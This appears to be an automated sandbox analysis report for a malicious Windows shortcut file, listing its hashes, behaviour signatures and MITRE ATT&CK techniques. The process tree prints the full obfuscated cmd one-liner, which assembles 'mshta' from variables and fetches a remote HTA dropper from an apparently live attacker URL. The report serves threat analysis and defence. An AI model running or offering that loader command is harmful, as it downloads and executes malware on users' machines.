28903f45e52383f5211fe4e5f0a115fce39a0d33431aa680ccc3a8da6f778a67

Analysis

max time kernel
150s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Contrato_Indeniza_Brasil-99RF7Z.lnk
Size 1KB
Sample260803-pz95jayane
SHA256 28903f45e52383f5211fe4e5f0a115fce39a0d33431aa680ccc3a8da6f778a67
MD5 23a75e5ca2b1c094c6a8dee2eeefc2db
SHA1 786265246a9191c2b93e9da193dfc5bd8460ca2f
SHA512 b0ec7ec0564cfe88d63b0eea35aab0578f592d6664821a6160b84754c75948fcec69e1ddd43d116aeec88c4f10b67093a402401502bdfd805b54a98afb3da098
TLSH
T1EE3197402AFD0614F3F79E7785BB5B1099BBF9A68E24C60D4080464C5026A01E17AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	1232	mshta.exe
4	1232	mshta.exe
5	1232	mshta.exe
6	1232	mshta.exe
7	1232	mshta.exe
13	1232	mshta.exe
14	1232	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
628	cmd.exe
2836	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 2836	628	cmd.exe	90
PID 2836 wrote to memory of 1232	2836	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-99RF7Z.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:628
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /C "set ZQ=msh&&set seK=ta&&start "" !ZQ!!seK! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:1232

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads